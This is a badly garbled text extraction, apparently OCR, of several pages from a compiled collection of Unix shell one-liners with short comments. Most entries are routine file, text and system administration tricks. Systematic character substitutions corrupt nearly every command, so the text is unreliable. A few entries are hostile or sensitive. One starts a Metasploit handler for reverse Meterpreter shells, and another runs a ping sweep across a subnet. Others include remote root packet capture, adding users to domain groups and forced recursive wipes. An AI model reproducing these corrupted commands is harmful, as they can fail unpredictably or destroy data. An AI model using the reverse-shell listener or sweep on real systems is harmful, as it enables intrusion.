All UNIX COMMANDS TS<\=_&enisoima&e R P printsi>e 6e=$TS<\s # 3apistrano deploy speci(ic %ranch cap s %ranch=my%ranch deploy # ttercap M
# &et date time o( (oler/(ile created du csh time 4sort n4tail
*ith du csh
# [ie* latest apache access lo& vie* _ls accesslo&2 4 tail n _ # Qatch ima&e resi>e (or a in _ls_ do echo $a FF convert $a resi>e -Jidth.,-Hei&ht. $a done # Iind duplicate dir in path echo $ATH4tr : Ln4sort4uniP d 350 / 658
All UNIX COMMANDS # display em%eded comments (or every opt+ use(ull (or auto documentin& your script vim n es c &/# 3ommandarse/19+/'LsL1esac/ d p 4 K d 4 put p 4 K- c &/'LE1BL1 'GBL1LGG/+/'LELsL1' Lt#BL4'$LG/ p c P! $" # delete all leadin& and trailin& *hitespace (rom each line in (ile sed s/'Ls//s/Ls$// i (ile # ,tract every parted(iles *hich had the same pass*ord (ind 2 name 2part2rar e,ec unrar e LL pASSJOR6 L # 6iscover unoptimi>ed MyS50 ta%les and optimi>e them2 (or ta%le in $Eecho 8select concatETAQ0S3HMA+ 2+ TAQ0NAMG (rom in(ormationschema2TAQ0S *here TAQ0S3HMA NOT e ta%le $ta%le8 4 mysPl done # Start handler in metasploit to listen (or reverse meterpreter connections ms(cli payload=*indo*s/meterpreter/reversetcp lhost=W92229 lport=???? # Sort and count su%Dects o( emails stuc) in ,im Pueue &rep R Su%Dect /var/spool/e,im/input/ 4 sed s/'2Su%Dect:L // 4 sort 4 uniP c 4 sort n . X/emailsort2$Edate 1Km2Kd2KyG2t,t # list uniPue (ile e,tensions recursively (or a path+ include e,tension (rePuency stats (ind /some/path type ( and print( 8K(Ln8 4 e&rep io L2'2B$ 4 sort 4 uniP c 4 sort rn # 3apture screen *ith timer sleep Uimport *indo* root output2pn& # Recursively remove all empty directories rmdir i&nore(ailonnonempty p /E/'IG # Qatch rename and num%er (iles i= (or ( E2Dp&G >mv $( $El:U::":G$EE11iGG$( # H@nit: Sho* the Z slo*est tests *ith their runtime phpunit lo&Dson php://stdout 4 a*) $NI X /+/ FF $ X /8Etest4timeG8/ 4 cut d: (9 4 sed 8Ns/Ln//8 4 sed 8s/+//84 a*) Q;
All UNIX COMMANDS ps e h o pid sort pcpu 4 head " 4 v>pid # [alidate openssh )ey F print chec)sum ssh)ey&en l ( pu%)eyB 4 cut d ( 9 4 tr ds Ln: # 6elete temporary 0aTe^ (iles Ea)a delete stu(( only i( correspondin& source (ile e,istsG rm v 2Elo&4toc4au,4nav4snm4out4te,2%ac)up4%%l4%l&4%i%2%ac)up4vr%4lo(4lot4hd4id,GE2e/ ( $R0:r2te, BB/G # ;enerate random num%er *ith shu( seP "4 shu( 4 head
# rename multiple (iles *ith di((erent name+ e& convertin& all t,t to csv >mv EG2t,t $2csv # 0osslessly com%ine all MUs in a directory Ee2&2 an audio%oo)G ((mpe& i 8concat:$E(ind 2 name 82mpU8 4 sort 4 tr Ln 4G8 acodec copy 22/$E%asename $ Ep*dGG2mpU FF mpUval ( 22/$E%asename $Ep*dGG2mpU # Add mem%er to domain &roup net &roup &roupname username /add /domain # ;et the @R0 (or the &itanne, *e%app &rep @R0 X/anne,/2&it/anne,/*e%app2html 4 tr d 8. 4 a*) I= print $? 8=8 $Z # 6ump an rpms pac)a&e details E%esides the (ilesG rpm Pueryta&s 4 e&rep v HA6R
All UNIX COMMANDS perl pi es/(oo/%ar/& (ile (ile9 (ileN # Ii%onacci num%ers *ith a*) a*) Q;e=Z(or i in $E seP $p)tsi>e ?Z" G do pin& M do s $i c slashdot2or& done # QJ &radient yes 8$EseP 9U9 9ZZseP 9Z? 9UUG8 4 *hile read i do print( 8L,%?Z$imLn8 sleep 2 " done # ;et the (ile name havin& %i&&est si>e in directory2 ls l4 sort 1?n4tail 4 a*) print $NI # Add sudo *ith shortcut alt1e in %ash %ind 8Lee8: 8L3asudo L3e8 # 3ompare local and remote (iles usin& S3/[
# Remove 3R (rom Jindo*s / 6OSte,t(iles dos9uni, (ile2t,t # ;et Iuturama Puotations (rom slashdot2or& servers curl in& (ormat inside terminal e,port <=$Edate 1KsG *atch t n T=$Edate 1KsG=$EE$T$
All UNIX COMMANDS &rep i 8a%orted lo&in8 /var/lo&/maillo& 4 a*) Q;e $i done # see *ho is on this machine * # One liner to parse all epu%s in a directory and use the cali%re e%oo)convert utility to convert them to mo%i (ormat (or (ilename in 2epu%do e%oo)convert 8$(ilename8 8$(ilenameK2epu%2mo%i8 pre(er authorsort outputpro(ile=)indle lineari>eta%les smartenpunctuation asciii>e ena%leheuristicsdone # see the si>e o( the do*nloaded tra((ic *atch n 8echo 4 sudo ipta%les nv0 4 head 4 a*) print L$]8 # rint duplicate (iles (ind 2 type ( print" 4 ,ar&s " n mdZsum 4 sort ) +U9 4 uniP * U9 d all repeated=separate 4 sed e s/'"Wa(BL // # in& s*eep *ithout NMA pre(i,=8W29Z?8 FF (or i in "229Z? do echo $pre(i,2$i/ (or D in 229Z? do sh c 8pin& m c t $pre(i,2$i2$D 4 &rep L8icmpL8 F8 done done # Recursively %ac)up (iles (ind /var/***/ name (ile e,ec cp 2%a) L # 6isplay sorted+ human reada%le list o( (ile and (olders si>es in your current *or)in& directory du had 4 sort h # A<^: &et 0@N <6 (or a &iven (ilesystem &etlunidEG lv=$Ed( $4&rep 8'/dev/84a*) print $4a*) I/ print $UG hd=$Elslv l $lv4tail 4a*) print $Gid=$Eodm&et P 8name li)e $hd AN6 attri%ute=uniPueid8 3uAt4&rep 8value =84a*) I= print $94tr d 8Gecho $id # @ncompress a 3SS (ile cat some(ile2css 4 a*) &su%E/44/+8FLn8G print .. uncompressed2css # Reconstruct a mal(ormed authori>ated)eys (or ssh cat authori>ed)eys*ith%ro)enlines 4 sed s+'ssh+Kssh+ 4 tr Ln L" sed d 4 sed 8/'$/d8 . authori>ed)eys
4 tr K Ln 4
# ;et <v? o( eth" (or use *ith scripts i(con(i& eth" 4 perl ne 8print i( m/inet addr:EELd1L2GUG1/8 4 sed 8s/inet addr//8 4 sed 8s/Qcast//8 4a*) I: print $9 # list all (iles modi(ied in the last 9? hours descendin& (rom current directory (ind 2 type ( mtime L! type d e,ec ls l L # Iast 30< Timer time read , # *ala lyn, usera&ent=Opera dump http://***2(ace%oo)2com/aDa,/typeahead(riends2phpVu=Qilal QuttFa= 4&a*) IL8tL8:L8 v RS=L8+ RTprint $NI 4&rep v L8nL8:L8 4cut d+ (9 # ls output *ith mode in octal 354 / 658
All UNIX COMMANDS lsoEG Dot * K"?d ]]] """" ]]]] 4sed /WB/ds+2+print( 88F 88chmod F 8$8ls l 8$84sed s//2/+ L 4sh L 4 echo 8lsoEG8echo 8ls L$7 LL8echo 8 4sed 8sed s+ +7+9s+72++s+LE2 LGLE2LG+s/L9/L/+s+ ++echo Lecho # Smiley prompt %ased on command e,it status e,port S=8LLe"U9mLBLu7Lh LLe"U?mLBLJ L_i( L$V = " B then echo e L Le"U9mLB:G else echo e LLe"UmLB:E (iL_ LLe"U?mLB$LLe""mLB8 # retty print all o( the 0inu, vm sysctls (or your vie*in& pleasure (ind /proc/sys/vm ma,depth type ( 4 *hile read i do print( 8KUZsLtKsLn8 8$i8 8$E-$iG8 done 4 sort t/ )? # ;et @niPue Hostnames (rom Apache 3on(i& Iiles e&rep ServerAlias4ServerName /etc/apache9/sitesena%led/2con( 4 a*) print( 8KsLtKsLn8+ $9+$U 4 sed s/***2// 4 sort 4 uniP # (ind and delete (iles smaller than speci(ic si>e (ind 2 type ( si>e ") print"4,ar&s " rm
# Recursively %ac)up (iles (ind /var/***/ name (ile e,ec cp +2%a) L # 3hec) i( varia%le is a num%er EE$ . "GG FF echo 8var is a num%er8 # Qatch C; rename to date usin&
355 / 658
r e s/L/2V//&
All UNIX COMMANDS ps u $@SR l( 4 &rep v 8L%ash4sshd4ps4&rep4<68 . 2tmp)ill i( EE $Ecat 2tmp)ill 4 *c lG . " GG then echo 8# Y<00 M A008 cat 2tmp)ill cat 2tmp)ill 4 a*) print $? 4 ,ar&s )ill W else echo 8# NOTH d 4 ,ar&s " &it rm # terminal %ased annoyatron *hile true do sleep $EE$RAN6OM/"""GG FF %eep ( 9""" l $EE$RAN6OM/""GG done # readlin) ePuivalent usin& shell commands+ and (ollo*in& all lin)s myreadlin)EG ! h 8$8 B FF echo 8$8 44 Elocal lin)=8$Ee,pr 8$Ecommand ls ld 8$8G8 : 2. LE2LG$G8 cd $Edirname $G myreadlin) 8$lin)8 # display lines in /etc/pass*d %et*een line startin& 222 - /etc/pass*d sed n 8/'%in:/+/'lp:/p8 # Random co*say *ith (i&let typho&raphy (i&let ( $Els /usr/share/(i&let/(onts/2(l( 4 shu( nG nama)u)in&)on& 4 co*say n ( $ Els /usr/share/co*s/ 4 shu( nG # Yill the process &roup containin& a process named svscan EdD%s daemontoolsG )ill W $Eps , o 8Kc Kr8 4 a*) /svscan/print $9G # 3ount the num%er o( lines o( code+ returns total (ind 2 LE iname 2cpp o iname 2h LG e,ec *c l L 4 sort n 4 cut delimiter=2 ( 4 a*) s1=$ N6 print s # @se emacs in place o( tail ( (unction emon emacs 8$8 eval EautoreverttailmodeG eval EsetP %u((erreadonly tG eval E&otochar Epointma,GG # convert sin&le di&it to dou%le di&its (or ( E"WB2t,tG >mv $( $El:::":G$( # Ietches a Reddit users E$@SRG lin) )arma curl s http://***2reddit2com/user/$@SR/a%out2Dson 4 tr 8+8 8Ln8 4 &rep 8lin))arma8 4 tr 8: 8 8Ln8 4 &rep 8"WB18 4 sed s/8'8/80in) Yarma: 8/ # Qatch sym%olic lin)s creation (or i in /tmp/(ile 2t,t /tmp/(ile 92Dp& do ln s 8$i8 8$i 09
# Iind all %ash (unctions in a (ile (unctionsEG read p 8Iile name. 8 sort d $R0 4 &rep 8EG8 4 sed e s/EG//& 4 less # ,port mysPl data%ase to another data%ase *ithout havin& to save the output (irst mysPldump u-username. p-pass*ord. h-source data%ase host. data%asename ta%le ta%le9 ta%len 4 mysPl u-user. p-pass*ord. h-destination data%ase host. data%asename # Realtime cloc) co*say 356 / 658
All UNIX COMMANDS *atch tn (i&let ( slant
_date 1KT_ 4 co*say n ( tele%ears
# 6isa%le an inter(aces multicast (ilter (or testin& i(con(i& eth" allmulti # Jipe a directory recursively F sa(ely *ipe r(P5 " directory/ # oor mans pomodoro timer echo 8aplay rin&2*av8 4 at no* 1 9Z min # Qatch rename o( (iles Enames (rom (ileG ls 4 paste delimiters= 2/>>> 4 a*) Q;
All UNIX COMMANDS useradd m s /%in/%ash p $Em)pass*d hash=SHAZ9 pass*ordG username # convert (lac (iles to mpU (iles into su%dir mpU
# 3lear (ilesystem memory cache sysctl * vm2dropcaches=U # 6elimiter Huntin& comm U -Eod v* tu dummy2t,t4cut cW4sort uG -EseP " 9]4sortG4perl pe $=chrE$G4 od c # [ie* Manu(acturer+ Model and Serial num%er o( the ePuipment usin& dmidecode dmidecode t system # ,ecute ls lah every one second *hile true do ls lah FF sleep done # chec) the status o( dd in pro&ress EOS ^G *hile p&rep 'dd do p)ill e many (iles containin& accents V4V4V4V4V (or i in _&rep ri 8VL4VL4VL4VL4V8 col 4 cut d: ( 4sort u _do sed i 8s/V/LFaacute/&8 $i sed i 8s/V/LFeacute/&8 $i sed i 8s/V/LFiacute/&8 $i sed i 8s/V/LFoacute/&8 $i sed i 8s/V/LFuacute/&8 $i echo 8HTM0i>in& (ile $iB8done # (or loop+ countin& (or*ard (or %ac)*ard (or i in 22Z do echo $i done # Sum usin& a*) ps yl3 httpd sort:rss 4 a*) S@M 1= $ N6 print S@M/"9? # 6isplay any udp/tcp connections %y process name or %y process id lso( n c 3OMMAN6 4 e&rep o ET34@6G2$ 4 sort u # (lush stdin in %ash read t "2 N 9ZZ # ,pand shortened @R0s e,pandurlEG *&et S $ 9.F 4 &rep '0ocation 358 / 658
All UNIX COMMANDS # Iind processes stuc) in dreaded 868 state a)a A\B2a>A\B$8 FF $NI !X 8name8 44 $NI X 8c"WB1d"WB1$8G print 8/dev/8$NI /proc/partitions # 3opy a (ile over SSH *ithout S3 ssh username7servername t ssh username97servername9 uuencode m test(ile2tar 4 uudecode . test(ile2tar # Split S50/T^T Iile into 9""" 0ines ach Iile and then Add 2sPl ,tension to Iile split l 9""" a Z data%ase2sPl splited(ile i= (or (ile in splited(ile do mv $(ile data%ase$i2sPl i=$EE i 1 GG done
# Recursive (ind and replace in h an cpp (iles (ind 2 name 82h8 o name 82cpp8 4 ,ar&s sed i s/add[erte,es/add[ertices/& # 3ompile all 2less (iles to 2css (ind 2less 4 ,ar&s < lessc 2css FF ls 2less2css 4 sed e ps/less2css/css/ 4 ,ar&s n9 mv # 6elete residues con(i&uration (iles dp)& l 4 &rep 'rc 4 a*) print $9 4 sudo ,ar&s dp)& # 3leanly list availa%le *ireless net*or)s Eusin& i*listG 359 / 658
4
All UNIX COMMANDS i*list *lan" scan 4 sed ne s#':space:BBLE5uality=L4ncryption )ey:L4SS<6:LG#L#p e s#':space:BBLEMode:2LG$#LLn#p # analy>e tra((ic remotely over ssh */ *ireshar) ssh root7HOST tcpdump iany @ s" * not port 99 4 *ireshar) ) i # encrypt sensitive ima&e usin& pass*ord read s ASS echo $ASS 4 convert sensitive2Dp& encipher depth pn&9?:hidden2pn& # rint out all partitions on a system a*) i( E$NI X 8'a>A\B2"WB$8 FF $NI !X 8c"WB1d"WB1$8 FF $NI !X 8'loop28G print 8/dev/8$NI /proc/partitions # 0ist all sym%olic lin)s in current directory ls l 4 &rep 8L.8 # Jhen usin& m)virtualenv+ ma)e the current directory your %ase and cd into that directory every time you *or)on that proDect echo echo 8cd _p*d_8 .. $[